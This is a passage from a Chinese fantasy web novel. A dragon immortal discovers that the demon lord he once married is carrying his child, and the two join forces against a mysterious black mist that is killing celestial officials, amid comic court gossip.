闻折月不太聪明,竟然担心他保护不了自己,啧。 他变傻了一定是因为和闻折月一起待久了,传染到了傻子龙的傻气。 闻折月也知道自己太夸张了,不过这不能怪他,墨夙离连他一枪都躲不开,叫他怎么能不担心:“我很快回来。” 闻折月一走,墨夙离立马就地坐下,四周被傻子龙的灵力包裹起来了,他的丹田从刚才开始就泛着细细密密的疼痛。 丹田里的花苞又长大了几分,膨胀成一个圆滚滚的球,乍一看又有点像蛋,墨夙离戳了戳肚子,惊悚地发现他的肚皮都被撑鼓了一点:“你该不会是一个披着花苞外衣的孩子吧?!” 怀胎十月,算一算他和闻折月洞房已经是一年前的事了,按理来说真要怀了早就得生了。 往好了想,也许他只是中毒了。 这玩意儿之前没有变化,是见到傻子龙后才慢慢变大的,规律是丹田越疼,花苞长得越快。 仙宫内传来打斗声,闻折月已经和假的魔族大将打起来了,不同于和他打的时候,闻折月动了真格,磅礴的力量在方圆百里内震荡开来。 许是感受到了闻折月的力量,丹田中的大胖花苞竟然轻微地动了起来,在疼痛之余,墨夙离发现四周的灵力屏障变薄了,丝丝缕缕的灵力竟然凝成了线,争先恐后地钻进了他的肚子里。 准确来说,是钻进了他的丹田中。 傻子龙的灵力在滋养那朵花。 这怎么看都像是小崽子在汲取父母的力量成长,可他和傻子龙什么关系都没有,所以真相只有一个——他没有怀崽,他中毒啦! 墨夙离一脸麻木,又戳了戳肚子,恨不得直接戳到花苞上:“你怎么一点原则都没有,有奶就是娘?” 也许这是一种能让丹田炸掉的毒。 墨夙离默默思考堂堂仙尊对他下毒的可能性。 打完架发现屏障不见了,闻折月皱紧眉头,待看到乖乖坐在圈里的墨夙离时,眉眼又舒展开来:“那假魔族不是真正的凶手,他背后还有人。” 方才假的魔族大将不敌他,当场自杀,他的尸体没有留下痕迹,化作一缕黑雾消失无踪。 和墨夙离猜的一样,黑雾有古怪,闻折月若有所思,将他从地上拉起来:“你刚刚是不是想打碎屏障偷偷逃跑?” 墨夙离下意识侧了侧身,背对着他:“我没跑。” 是没跑,还是没来得及跑? 闻折月眯了眯眼睛。 “我困了,能回去睡觉了吗?”墨夙离心里烦得很,怀崽和生病都不是好事,当然比起前者,他更希望自己中了毒。 从人间到上界,从苏梨变成墨夙离,这个人还是能够用一句话拿捏他。 闻折月认命地叹了口气:“行,现在就带你去睡觉。” 跑就跑呗,能跑代表墨夙离腿脚好,身体健康,有活力。反正再怎么跑都跑不出他的手掌心,就当是夫夫间的小情趣了。 闻折月传了道灵信向天帝汇报假魔族大将的事,然后带着墨夙离回了折月仙境,这次不是在外面的仙宫里,他直接将人带进了秘境之中。 一进来就看到满地的金银财宝,夜明珠堆积如山,尺寸可观,比墨夙离以前见过的夜明珠都大得多。 噫,好闪! 魔尊大人被晃了下眼,传说龙族喜欢闪闪发亮的东西,喜欢四处搜集珍宝藏在洞穴里,越是珍贵的宝物,藏得越严实。 闻折月牵着他往里走,一直走到最里面才停下,四周堆放着零零散散的家具,有些凌乱:“还没来得及收拾,凑合住一宿。” 墨夙离环视四周,梳妆台、桌椅、屏风……除了那张暖玉床,其他东西看起来都不太值钱,想不通闻折月为什么会把它们藏在折月仙境最深处。 见他站着不动,闻折月笑了下:“不想睡的话,我们可以提前做一些结契后才能做的事。” “……” 墨夙离到头就是一个睡。 他睡着的时候很乖,在下界洞房时闻折月就发现了,墨夙离睡觉喜欢蜷成一团,据说心里不安才会养成这样的习惯。 墨夙离从小就一个人,长了这样一张脸,是怎么在魔界活下来的? 闻折月不敢往深了想,长相思,摧心肝,墨夙离好端端睡在他面前,他的心肝都安稳不了,何况他不在的时候。 这就是情劫吗? 在此之前,闻折月从未想过自己会喜欢一个人喜欢到如斯地步,明明相处的时间不长,可他却有一种强烈的感觉——就是他。 如果说他这一生都在等一个人,那这个人一定是墨夙离。 暖玉床养身,闻折月将墨夙离圈进怀里,严丝合缝的拥抱让他有一种人生终于圆满了的感觉。 如果时间能定格在这里就好了。 墨夙离太累了,上下界连轴转一直没能好好休息,再加上发现自己怀了崽子的重大打击,本来是装睡,结果他一闭上眼睛,真的真在闻折月的怀里睡了过去。 闻折月抱着他躺了一会儿,等他呼吸均匀了,轻轻坐起来,拉过墨夙离的手,修长的指尖搭上他的手腕。 他东西学得杂,会一点医术。 墨夙离一直捂着肚子,很难受似的,他怕之前那一枪不止打出了淤伤。 威逼利诱都用上了才拐回来的娘子,可不能莫名其妙出事,闻折月打起了十二万分精神,做好了墨夙离内伤过重,要损耗修为帮他疗伤的准备。 可这脉搭着搭着,闻折月的表情就变得古怪起来。 脉如滚珠,流利圆滑,这是——喜脉?! 难不成下凡渡劫失败,连医术也会倒退,闻折月的第一反应就是他把错脉了,他深吸一口气,重新试了一次,很好,是喜脉。 他不信邪又试了一次,依旧是……喜脉! 喜脉!! 闻折月的心也颤肝也颤,手也抖呼吸也抖,他直勾勾地盯着墨夙离的肚子,眼神晦暗不明。 不知过了多久,他伸出手,解开了墨夙离的腰带。 墨夙离身上覆盖着一层薄薄的肌肉,并不夸张,力量与美感兼具。此时他肚子上的腹肌轮廓并不明显,微微隆起一点弧度,和洞房那天灌得太满有些许相似。 原来不是墨夙离藏起了他的元阳,而是他的元阳在墨夙离身体中扎了根。 闻折月的心尖发抖,连呼吸都放轻了,掌心温热,轻轻贴到了柔软的皮肉上,那一瞬间,他仿佛感受到了最原始的生命呼唤。 下一秒,他的手就被抓住了,熟睡的墨夙离不知何时睁开了眼睛,眸光还不清明,但其中的警惕和恐惧清晰可见:“你要做什么?” 第25章 第 25 章 我要做什么? 闻折月快速眨了下眼睛, 在这一瞬间他的脑海中闪过很多事情,他整理好表情,扬起一个吊儿郎当的笑:“我要给你脱衣服。” 墨夙离不可能不知道自己的身体状况。 “魔尊大人睡觉不脱衣服吗?” 墨夙离在害怕。 他清楚地看到了墨夙离内心的恐惧, 像一根刺, 扎进了他的心脏中,血脉繁衍的本能欣喜一泄而空, 只剩下满心的疼惜和自责。 墨夙离将信将疑:“我睡觉不喜欢脱衣服。” 他甩开闻折月的手,迅速将衣服拉好,骨碌碌滚到床里面:“仙尊大人金银财宝无数, 连床被子都拿不出来吗?” 暖玉床, 顾名思义,能够自动散发暖意,睡在上面不用盖被子。 但闻折月还是从储物法器中找出了一床大红喜被:“不是拿不出, 只是魔尊大人今晚玩了火, 怕你尿湿了我独一无二的宝贵被子。” “……” 墨夙离想,他还是太要脸了。 大红喜被十分柔软,上面绣着鸳鸯图案, 仔细闻起来还有一股似有若无的香气,墨夙离抽了抽鼻子,觉得这味道有点熟悉:“这被子哪里宝贵了?” 恕他眼拙,这不就是一床平平无奇的被子嘛。 墨夙离卷着被子把自己裹成了一个蚕宝宝,获得了厚实的安全感。 “这是我下凡渡劫时的喜被, 天上地下只此一床。”说着, 闻折月不知从哪里摸出来一把红枣,轻轻扬到了墨夙离身上, “盖了我的被子,可是要给我生小龙崽子的。” “……” 破案了, 是椒香味。 怪不得他觉得熟悉,合着是成亲用的喜被,仔细一看,那些散落在四周的家具和他置办的也很像。 不过这些东西大差不差,墨夙离没有多想。 他想一脚踹开被子,再将闻折月踹到床下:“你是变态吗?” 谁会把下界渡劫时的被子带回来?谁会随身携带红枣?谁会信什么“枣”生贵子的鬼话啊?!! 天上地下,恐怕也只有闻折月了。 闻折月神色淡淡:“或许是吧。” 不止是被子,苏梨亲手准备的家具都被他放在折月仙境最深处,如果不是房子没办法整个端走,他会把那座他们同住过几日的宅院也收起来。 他对苏梨的执念深到他自己都不敢相信。 暖玉床宽大,墨夙离卷着被子在里面,闻折月就在外侧躺下,中间隔着一掌的距离,不过分亲密,但又不至于疏离。 墨夙离嗅着那股温暖的椒香味,身心放松了下来:“你之前说你有娘子,可是在渡劫时成的亲?” 他和折月仙尊竟然会躺在一张床上,搁在今天之前,墨夙离做梦都想不到会发生这种事。 讲真,这床还挺舒服的。 “嗯。” “那你怎么不和她在一起?” 闻折月侧过身,用视线描摹着他的眉眼:“因为他抛弃了我。” “你渡劫失败该不会是因为被抛弃了吧?”墨夙离越琢磨越觉得有可能,不然傻子龙为什么要把这些东西带回来,“你可是堂堂仙尊,她为什么抛弃你?” 他好奇地睁大眼睛,连觉都不睡了,看傻子龙吃瘪千载难逢。 闻折月深深地看了他一眼:“我也很好奇,要不你猜猜他为什么要抛弃我。” “因为你长得丑?” “……” 他不丑! 闻折月后悔伪装时没有捏张帅气的脸了,他从床上捡了个枣,塞进墨夙离的嘴里:“不可能,如果他嫌弃我长得丑,肯定不会主动提出要和我成亲。” “是不是你做了什么过分的事?”墨夙离嚼嚼嚼,别说,这枣还挺好吃,“你们仙界就是小气,会谈也不知道准备点吃的,连口茶水都没有。” 闻折月噎住,魔尊大人脑子里就离不了吃:“我不知道。” 至今他仍不知墨夙离为什么要始乱终弃。 墨夙离福至心灵,突然问道:“你的娘子是男是女?” 闻折月动作一滞,垂眸:“看起来是个美娇娘。” 实际上是个美得不输于姑娘的男人。 墨夙离的注意力都在“美娇娘”三个字上,那就是女子啊。 太好了,傻子龙应该不会觊觎他这个硬梆梆的大男人。 见他吃得香,闻折月一个接一个地投喂,还不忘伸手接住他吐出来的枣核:“不说我了,说说你,你为什么会离开你的娘子?” 墨夙离不好意思说自己腰疼,一脸深沉道:“我是魔族,他是凡人,上下界有别。” 闻折月冷笑一声,毫不留情地拆穿了他的谎话:“你要真觉得有别,当初就不会去招惹他。” “我后来才想通的不行吗?” “那你为什么要强行打开封印,去下界找他?” 墨夙离噎住,连枣都忘了嚼。 “你说你爱他,要为他守一辈子活寡,如此深刻的感情,让我猜猜,魔尊大人应当想过将他带回魔宫吧。”闻折月字斟句酌,试图套出墨夙离的真心,“是什么让你突然改变了想法?” “是……我才不告诉你!”墨夙离得意地笑,“哈哈哈,你想知道,那我偏偏不告诉你,气死你。” 闻折月一口气差点没上来,面无表情地往他嘴里塞了两个枣,试图堵住他那张气人的嘴。 枣子香甜,墨夙离一边吃着,又想起在下界啃了一口的坏桃子,又苦又涩,比没成熟的青桃子都难吃,徒有其表。 饱满成熟的桃子为什么会那么难吃? 脑海中闪过一个可能,墨夙离语气幽幽:“男人都委婉,所以那难吃的桃子是你故意捉弄我的吗?” 闻折月没想到他会突然提起这茬,干笑两声,又往他嘴里塞了个枣,吃啥补啥,希望魔尊大人的大脑能变成大枣。 墨夙离愤愤不平,恨不得把核吐到他脸上,故意撞他的轿辇,给他吃坏桃子,还给他下马威,这样的坏龙怎么有脸说要和他结契。 他裹着被子蛄蛹了两下,一口咬住了枕头旁边的枣,恶狠狠地嚼着,仿佛吃的不是大枣,而是龙肉。 闻折月捂住了扑通扑通的小心脏,救命,他娘子怎么这么可爱。 想日! 一个吃一个喂,配合默契,闻折月状似随意地试探道:“吃了这么多枣,应该能早生贵子了。” “吃的是枣子,又不是你的脑子。”墨夙离想撬开他脑壳,看看里面是不是空空如也,“你觉得我能生个大枣吗?” “大枣也行,只要是你生的就行,我不挑。” “……” 多么感人的病情。 一把大枣全都进了墨夙离的肚子里,魔尊大人吃饱喝足,偷摸在被子里摸了摸肚皮:“就凭你的身份,要什么样的仙子没有。” 不止是仙子,傻子龙在魔界也很受欢迎,据说想嫁给他的人加在一起能填平半个无妄海。 “我看你还收藏着渡劫时的东西,想必对你那娘子用情至深,按你的变态……咳咳,痴情程度,你应该去找她才对。” 我可不就在找他嘛。 墨夙离百思不得其解:“你为什么要缠着我呢?” 也许是他之前猜错了,傻子龙并不喜欢他,只是另有图谋,比如偷偷给他下了毒,想近距离观察他丹田爆炸而亡。 “当然是因为……”把他的胃口吊起来后,闻折月忽然收敛了表情,正色道,“你想知道,那我偏偏不告诉你。” “……” 墨夙离气鼓鼓地翻过身,背对着他:“不说就不说,谁稀罕。” 卷着被子给了墨夙离极大的安全感,他的身心在今晚都遭受了很大的冲击,本就乏累,现下一放松,困意如潮水般袭来,墨夙离很快就睡了过去,丝毫没有与敌人同塌而眠的不安。 闻折月无奈失笑,不知该说他警惕性太低,还是高兴他相信自己。 上次这样躺在一起还是成亲的时候,墨夙离抽抽搭搭地昏过去之后,他抱着人亲亲摸摸了好一会儿,几乎吻遍了那具白皙如玉的身体。 闻折月闭上眼睛就能想起当时,后来他一直在梦境中回忆。 如今心心念念的娘子又回到了他的身边,在他的秘境里,在他的床榻上,在他伸手就能触碰到的地方……闻折月听着墨夙离的呼吸声,失而复得的欣喜令他一点睡意都没有。 老龟诚不欺他,男人也能生孩子。 他和墨夙离只在成亲当晚洞过房,一次就……闻折月按捺不住心里的喜悦与得意,虽然他找不到地方,但他猛啊,他就是全天下最厉害的大猛龙! 他盯着墨夙离的后脑勺,按捺住把人箍进怀里的冲动:“等什么时候你把你离开你娘子的原因告诉我,我就告诉你我为什么非你不可。” 一个秘密换一个秘密,一颗真心换一颗真心,如此才公平。 到那时候,他们才算真正的坦诚以待- 收到闻折月的汇报后,天帝着急忙慌赶了过来,仙宫里空无一人,灵信传出去后都被折月秘境的结界挡住了。 发生了这么大的事,闻折月怎么还睡得着?! 天帝抓狂,又急又气,天杀的折月秘境,他就不该放任闻逍将仙宫建在这里,这下好了,一代传一代,就算是他也没办法进去把闻折月抓出来。 仙官一事牵扯甚广,天帝生怕晚了一分一秒,他拿着灵信翻来覆去地看,天蒙蒙亮的时候,命轨星君火急火燎地冲进了仙宫:“仙尊,折月仙尊……” “慌慌张张成何体统。” “天帝,您怎么在这里?!”命轨星君吓了一跳。 天帝没好意思说自己在等人,且等了很久,他清了清嗓子,不答反问:“你不是说不会再踏足这里,怎么又来了?” 之前被闻逍坑了几百年的道行,命轨星君肉疼不已,放出话来,要与姓闻的划清界限,再不踏入折月仙境半步。 但现在看来,这界限似乎又模糊了。 命轨星君这才想起正事,一拍大腿,担忧中含着一丝幸灾乐祸,关心中带着看热闹的期盼:“天帝,出大事了,昨晚魔尊住的仙宫塌了!” “仙宫怎么会塌?”天帝懵了一瞬,又问道,“魔尊的仙宫塌了,你来找折月干什么?” 莫非命轨星君也知道闻折月的情劫应在墨夙离身上? 命轨星君一脸为难,欲言又止。 天帝沉声命令道:“如实道来。” 难道除了凶手,昨晚还发生了什么他不知道的事? “好吧,其实我来这里是想劝折月仙尊自首。”命轨星君叹了口气,“仙尊那脾性谁人不知,是嫉恶如仇啊,他一直看魔尊不顺眼,昨天一见到魔尊就想冲上去揍他,被我拦住了。” 他当时就随口一说,谁能想到闻折月真会半夜去找茬,一听说魔尊的仙宫塌了,废墟上还有逐日枪留下的痕迹后,命轨星君就知道大事不妙了。 “魔尊住的仙宫,是折月仙尊弄塌的。” 天帝一脸茫然,这和他知道的故事版本不一样:“他弄塌魔尊的仙宫干什么?” “当然是想砸死魔尊!”命轨星君一脸“你怎么连这都看不出来”的表情,“现在仙界已经传开了,折月仙尊隐瞒身份戏弄魔尊不成,恼羞成怒,大半夜偷偷跑去报仇。” “魔尊尸骨无存,魔族大将想要阻止仙尊,也被他杀了,其手段之残忍,令人震惊!” 命轨星君啧啧,心道不愧是闻逍和蔺月盏的儿子,血脉力量强大:“仙尊他做得也太过了,就算看不惯魔尊是个色魔,也没必要对魔界中人赶尽杀绝,这下子仙魔会谈还怎么继续。” “…………” 天帝嘴角抽搐,听到魔族大将被杀了那里,他就知道命轨星君的话不可信了。 且不说做这种事不符合闻折月的性格,那小子现在一颗心都在墨夙离身上,不想方设法把人往床上拐就好了,怎么可能想砸死墨夙离。 “你是不是有什么误会?” “不可能,所有人都知道是这么回事,怎么可能有误会。”命轨星君言之凿凿,势要捍卫自己吃到的不知第几手的瓜,“仙尊他平时就会装,人模人样的,他隐瞒身份和魔尊坐在一起,就是为了降低魔尊的警惕性,然后神不知鬼不觉地杀了魔尊。” “是吗?” “当然了。” “不是。” 两道声音同时响起,命轨星君后背窜上一股凉意,他僵硬地转过身,对上了闻折月冒着杀气的眼神。 站在闻折月身边的人,赫然就是尸骨无存的魔尊。 闻折月现在是真的想杀人了,不过不是杀魔尊。 之前命轨星君就假传谣言,害得他没能第一眼认出墨夙离是苏梨,现在还敢跑到他家里污蔑他,大肆传播不真实的言论,当着他的面破坏他和墨夙离的感情。 命轨星君,好样的。 墨夙离若有所思,一副信以为真的模样:“我就说仙尊怎么突然对我大献殷勤,还说一些莫名其妙的话,原来是想降低我的警惕性,再神不知鬼不觉地杀了我。” 他偏过头,笑意盈盈:“仙尊大人,你可真是好算计,我差点就被你骗过去了。” “不是,我——” 墨夙离没给他解释的机会,一下子蹿到天帝身后:“本尊带着诚意来参加会谈,却屡屡遭到折月仙尊戏弄,天帝若不给本尊一个公道,那仙魔两族也不需要和平了。” 天帝看看百口莫辩的闻折月,又看看装模作样的墨夙离,有一种卷入了他们play的无力感:“魔尊息怒。” 墨夙离大力地拍着命轨星君的肩膀,咧着嘴快笑出声了:“看来仙界还是有正义人士的,多谢你了,要不是你,本尊现在还被蒙在鼓里。” 一定是傻子龙暗中对他下了毒! 昨晚傻子龙偷偷摸摸看他肚子,肯定是想看看他什么时候毒发,结合命轨星君的话,所有线索都串起来了。 所以他没有怀崽,没有!! 他就说嘛,花苞怎么可能是孩子,他一定是中了毒。 墨夙离又快乐起来了。 命轨星君一脸呆滞,魔尊为什么会在这里?他不是死了吗? 万千疑问汇聚心头,变成了两个字——救命! 闻折月的眼神好像要刀了他。 墨夙离意气风发,无视闻折月的怒色,大气地冲他摆了摆手:“罢了,本尊也不是斤斤计较的人,折月仙尊以后莫要再戏弄本尊,你我之间的事就当是一场梦,一笔勾销了。” 虽然知道墨夙离说得是昨日之事,但闻折月控制不住,将之联系到了人间时:“好一个‘一场梦’。” 他咬牙切齿,冷笑一声:“不知魔尊大人昨夜宿在我身旁,做的是什么梦。” “春梦吗?” 第26章 第 26 章 墨夙离:“……” 命轨星君一脸惊恐, 看看脸色铁青的墨夙离,再看看如狼似虎的闻折月,仿佛知道了什么不可言说的秘密。 “仙尊说笑了。” 这五个字, 墨夙离是从牙缝里挤出来的。 闻折月很是快意:“是不是说笑, 魔尊心里清楚。” 见两人之间的气氛不对劲,天帝连忙开口调停, 仙魔会谈为重,若是放任春梦话题发展下去,这俩人怕是会搞到床上。 “好了好了, 先谈正事。” 折月仙尊半夜偷袭, 将魔尊住的仙宫轰塌了的消息不胫而走,据相关人士透露,魔尊被仙尊带回了折月仙境折磨, 多亏天帝及时赶到, 魔尊才保住了小命。 仙官们开的赌桌上即将分出胜负。 会谈第二日,赶来的仙界中人翻了好几倍,全都是来围观折月仙尊杀魔尊的。 闻折月:“……” 和你们这群造谣的拼了! 去他娘的谣言止于智者, 他就该在被传不举的时候提着枪挑了那群背地里嚼舌根的人,现在就没人敢编排他了。 春梦这茬很快过去了,墨夙离重新扬起笑,嘴角快咧到耳朵根了,像个快乐的小傻子。 闻折月在生气之余又不禁疑惑, 莫非墨夙离的大脑真被喂成了大枣, 听说他潜伏在他身边要杀了他后,墨夙离高兴得就差欢呼了。 他眼神幽幽, 盯着前面那道轻快的身影。 一定是哪里出了问题。 墨夙离很开心,非常开心, 怀崽是一块压在他心里的大石头,如今命轨星君给了他一个更合理的解释,彻底将他从这块石头下解救出来了。 男子怀孕本就是无稽之谈,他是脑子抽了才会往那方面想。 墨夙离飞快地回头看了一眼,他这人底线低,但是非常看眼缘,就傻子龙这张脸,他宁愿被摁着揍,也不想在床上面对,所以傻子图他的命比图他身子好接受多了。 要是长成闻折月那样,他一定当成眼珠子疼,腰断了也能忍一忍。 说白了,他就是看脸。 心头大患消失了,现在只剩下一个问题——解毒,只要想办法把丹田里的花解决掉,那就没有什么能影响他睡大觉了。 说到睡觉,他昨晚竟然睡得不错。 墨夙离又回了下头,这次被抓住了,闻折月挑了下眉,大摇大摆走到他身边:“又偷看我?” 魔尊大人鬼鬼祟祟怪可爱的,被抓包后也不心虚,一本正经道:“仙尊自重,我们俩的关系还是保持距离比较好。” “我们俩是什么关系?”闻折月琢磨着这个问题,故意,也带着一丝恶意反问,“同睡一张床的关系吗?” 他没有刻意压低声音,这话清清楚楚地传到了天帝和命轨星君的耳朵里,前者一副“我就知道”的表情,仙宫弄塌了,然后就能顺理成章的把人拐回家了,果然心机深沉,颇有其父之风。 命轨星君痛心疾首,已经发展到同睡一张床了,进展比他想的还快,怪不得春梦长春梦短的。 墨夙离差点没绷住,皮笑肉不笑:“呵呵,我们俩当然是你想神不知鬼不觉杀了我的关系。” 他往旁边躲了一步。 闻折月嘲弄地嗤了声,这个人肚子里怀着他的龙崽,他们明明该在万众瞩目下诉说对彼此的爱意,却偏偏所有人都觉得他们只能兵戎相向。 就连墨夙离也是这样想的。 闻折月胸膛里闷着一股气,五脏六腑都闷得慌:“我若想杀你,早就动手了。” 这是实话,闻折月昨晚有无数次机会一枪捅死他。 人总是倾向于相信自己希望看到的一切,所以墨夙离刻意忽略了这些:“可能仙尊只是觉得直接动手太便宜我了,所以想找个办法折磨我。” “折磨……” 闻折月闻言眸光一黯,他不是多愁善感的人,但墨夙离是他的情劫,天生就能牵扯出他心底的负面情绪:“你觉得我做这一切是在折磨你?” “不然呢?” 命轨星君惊奇地发现,方才和谐到暧昧的闻折月和墨夙离突然变了画风,闻折月又变回了那副要杀人的模样,盯着墨夙离的眼神恨不得在他身上撕扯下一块肉来。 怪了,这俩人怎么相爱相杀啊? 假魔族大将的出现给侦破仙官被杀一案提供了重要线索,作为当事人,闻折月和墨夙离先后讲述了昨晚发生的事,仙尊偷袭杀魔尊的谣言不攻自破。 “黑雾?”天帝拧眉深思。 墨夙离抱着胳膊,他换下了小寡夫的“丧服”,一身黑衣,不怒自威:“那黑雾有自己的意识,或许它不仅仅是作案工具。” 他本来怀疑凶手利用黑雾杀人,但从昨晚的事情来看,假魔族大将自杀后身体化成了黑雾,更像是黑雾主导了这一切。 “昨晚我亲眼看到它穿过封印,它不是人,仅仅将上下界的通道封锁起来恐怕无法抓住凶手。” 闻折月颔首:“无妄海只是抛尸地点,凶手应该是在下界杀死仙官的。” 原因有三:一是被杀仙官经常往返上下界;二是处理尸体的手段复杂,上界人多眼杂,很容易被发现;三是昨晚那假魔族大将自杀后,化成了一缕黑雾,他的神识追过去,那黑雾逃到上下界的通道后就消失无踪了。 闻折月突然道:“是时候点一下尸体上的绳子了。” 墨夙离惊讶地看了他一眼,仙界中人对仙官的遗体颇为敬重,宣称死者为大,昨天有魔族提出要点燃尸体上的绳子寻找线索,仙界的人想也没想就否决了,两方差点掀起一场骂战。 他没想到闻折月会主动提起这茬。 如此看来,傻子龙真没愧对他那半身魔族血脉。 “确实,线索只有这么多,能研究的只剩下尸体。”墨夙离对人尸灯笼不感兴趣,但这是最快捷最有效的办法,“要是舍不得,可以点那具魔族的尸体。” 他们魔界中人没这方面的忌讳。 闻折月看着尸体,脸色凝重:“都要点,凶手最初想杀的是仙官,魔族的尸体没有参考价值,但可以用作对比。” 凶手两次袭击墨夙离,违反了只杀仙官的规则,他无法容忍墨夙离时时刻刻处在危险之中。 仙官们面面相觑,是他们的错觉吗,折月仙尊和魔尊怎么一唱一和的? 天帝沉吟片刻,做了决定:“当务之急是尽快抓到凶手。” 这不是一场简单的谋杀,背后还隐藏着更为沉重的阴谋,如果不能快点阻止这一切,势必会招致更加惨痛的结局。 天帝和折月仙尊都发了话,仙官们没有继续阻拦,两具尸体被放置在空旷场地,闻折月和墨夙离一左一右站在尸体两侧。 墨夙离一脸嫌弃:“为什么非要我和你来点?” “你我和黑雾打过交道,方便随机应变。”闻折月轻飘飘地睨了他一眼,“魔尊大人若是不敢,张口求一声,本尊代劳也不是不可以。” 求你? 墨夙离翻了个大大的白眼,双指并拢一划,一簇火苗飞向尸体脖颈处延伸出来的绳子,火焰“滋啦”一下烧了起来,墨夙离迅速往后跳了一大步。 闻折月紧随其后,灵火一出,立马撤到了墨夙离身边,有意无意挡在他身前。 火焰顺着绳子烧到了尸体上,蜜蜡被融化,从仙官尸体的断口处飞出一捧金色蝴蝶,闻折月反应迅速,在四周布下一层结界,将蝴蝶全部笼罩起来。 那是一种纯粹的金色,闻折月第一时间就想到了墨夙离与众不同的右眼。 “锋金蝶?!”天帝小小地惊呼了声。 蝴蝶震动翅翼,发出令人牙酸的嗡嗡声,乍一听就像是剑锋摩擦,刮骨锯肉。 金蓝色的琉璃火灌进结界,以摧枯拉朽之势将所有蝴蝶全部焚成灰烬,天帝出手如电,众人还未曾回过神来,蝴蝶和两具尸体就被付之一炬了。 他脸色发沉,声音中竟有一丝不易察觉的恐惧:“将剩下的尸体沉入玉海明沼,不得再点燃。” 玉海明沼,仙界禁地,其外有重重禁制,天帝亲自布下琉璃火阵,方圆百里寸草不生,只有持天帝诏令者方可渡过琉璃火,进入玉海明沼。 墨夙离深吸一口气:“天帝可是发现了什么线索?” 早就听说过天帝修得一身琉璃火,可焚毁世间万物,今日得见方知传言不虚,刚刚站在结界外,他都有一种脊骨要被烧成灰烬的感觉。 难怪这老不死的能稳坐仙界一把手的位子,有两下子。 “此事押后再议。” 天帝留下这么一句话后,匆匆离开了。 墨夙离不明所以:“他怎么了?” “大概是去给你准备饭菜了。”闻折月捻了捻指尖,按住他的肩膀,“昨儿个你不是说仙界小气,本尊现在就带你去吃好吃的。” 墨夙离:“?” 墨夙离挣扎无果,在众目睽睽之下,被闻折月揽着肩膀带走了。 “仙尊这是什么杀人的新招数吗?” “我怎么感觉仙尊和魔尊有一腿,方才一唱一和不说,现在还举止亲昵,仙尊何时那般亲近过别人?” “胡说八道,仙尊都不愿意将真容展现给魔尊看,一定是厌恶他厌恶到了极点,肯定是那色欲熏心的魔尊缠着仙尊。” “可是仙尊主动搭了魔尊的肩膀,看起来魔尊还不太情愿。” “欲拒还迎,懂吗?” …… 赌桌上的情况变化莫测,仙官们对闻折月和墨夙离之间扑朔迷离的关系充满了疑惑,有人怀疑他们举止暧昧,八成是有一腿,更多人不愿意相信闻折月会与魔尊同流合污,绞尽脑汁为他开脱。 命轨星君嗤了声:“这你们都看不出来?” 作为资深吃瓜人,又和闻家关系密切的命轨星君经常会爆出第一手资料,因而他一开口,众人纷纷看了过来:“星君有何高见?” “咱们仙尊在使美人计呢。”命轨星君摸了摸下巴,想到今早的所见所闻,啧啧道,“知道怎样杀人最痛吗?温柔刀,仙尊这是打算用美人计勾引魔尊,等魔尊被迷得七荤八素后,就一刀捅进他的胸口!” “如此这般,才能叫魔尊的身体和心灵都遭受到致命打击。” 命轨星君越琢磨越觉得此计甚毒,也就他这个看透了闻折月恶劣本性的人才能想到。 意料之中的惊叹声并没有出现,命轨星君不解,以往他爆了料后,都会迎来无数附和,今日仙官们不发一语,都用一种复杂的眼神看着他。 准确来说,是看着他的身后。 “你们看什么呢?” 他刚要转头,就听到从身后传来的阴森冷笑:“他们在看我。” 熟悉的场景,熟悉的后背一凉,命轨星君僵硬地转过头,易过容的折月仙尊顶着一张没有压迫感的脸,却依旧能让人怂得腿脚发软。 命轨星君感觉自己命不久矣。 “仙,仙尊,你不是走了吗?” 逐日枪挽了个利落的枪花,锋锐逼人,闻折月微微一笑:“听说有人找死,所以本尊特地赶回来送他一程。” 赌桌被当事龙一把掀翻,在那之后,仙界再无人敢在背后编排折月仙尊,参与赌局的仙官每每回想起那灰暗的一天,无一不掩面而泣,流下悔恨的泪水。 折月仙尊根本不像传闻中那样温文尔雅! 闻折月在仙宫里找了一圈,并没有发现墨夙离所说的东西。 魔尊大人说他有一个重要的物件丢了,请求他帮忙找一找,闻折月架不住他的央求,明知道墨夙离是在诓他,还是回来走了个过场。 这是墨夙离第一次求他,虽然别有用心。 闻折月坐在偌大的仙宫中,静静地把玩着手里的东西——一枚蓝色茧蛹。 仙族尸体中飞出了金色蝴蝶,旁人没看见,但他离得近,清楚地看到从魔族的尸体中掉出一枚茧蛹,蓝汪汪的,这枚茧蛹像是受到了某种神秘的牵引,飞到了墨夙离身上。 下一秒,就被闻折月神不知鬼不觉地捏在了手掌心里。 天帝一瞬间的失态并没有逃过他的耳朵,闻折月攥紧了茧蛹,喃喃低语:“锋金蝶……” 他的脑海中无端浮现出四个字:锋金噬仙。 无端的思绪令闻折月的心沉了几分,时间差不多了,他收起茧蛹,理了理衣袖。 墨夙离想支开他。 闻折月心知肚明,早上从折月仙境里离开后,墨夙离就一副若有所思的模样,不知道在打什么鬼主意。 把线放出去,才能知道到底是哪里出了问题。 墨夙离嘴硬,不愿意吐露真话,不过没关系,很快他就可以知道墨夙离心里在想什么了。 闻折月起身,嘴角勾起一丝期待的笑。 该去抓人了。 第27章 第 27 章 闻折月一走, 墨夙离立马就跑了。 当务之急是解决掉丹田里的那朵花,上界公认医术最好的人就是妙回春,一手针灸之术号称可解世间万毒, 是千百年来唯一一个飞升的医修。 妙回春脾气古怪, 住在仙魔交界地带,常年守着一亩三分竹林, 救人全凭心情。 当然,对于墨夙离而言,用不着那么麻烦。 墨夙离大摇大摆地进了竹林, 没多废话, 直接拍门,没一会儿妙回春就跳着脚出来了:“你怎么又来了?!” 老头鹤发童颜,不高, 刚到墨夙离肩头, 叉着腰凶巴巴的。 墨夙离曾经和他打过交道,那时妙回春到无妄海采药,差点葬身狗腹, 是他从狗嘴中救下了妙回春,自那以后,老头就经常免费给他治伤。 “这回又伤到哪里了,胳膊断了还是腿折了?”妙回春上下打量了他一眼,“你几十年没来过我这里了, 发达了, 看穿着都金贵了不少。” 像是娇生惯养的小公子,一身贵气。 可别人不知道, 妙回春心里却门清儿,墨夙离在魔界摸爬滚打, 为了活下去什么苦累差事都做过,他脾气倔,因为这张出众的脸吃了好多苦头。 其实墨夙离如果不那么要强,出卖一下色相,可以活得舒服很多。 魔族民风开放,以色侍人并不算丢脸的事,妙回春有时看到他身受重伤,也会生出一种劝说他别那么坚持的主意。 “你两耳不闻窗外事,应该还不知道我杀了魔尊的事。” “……哈?” 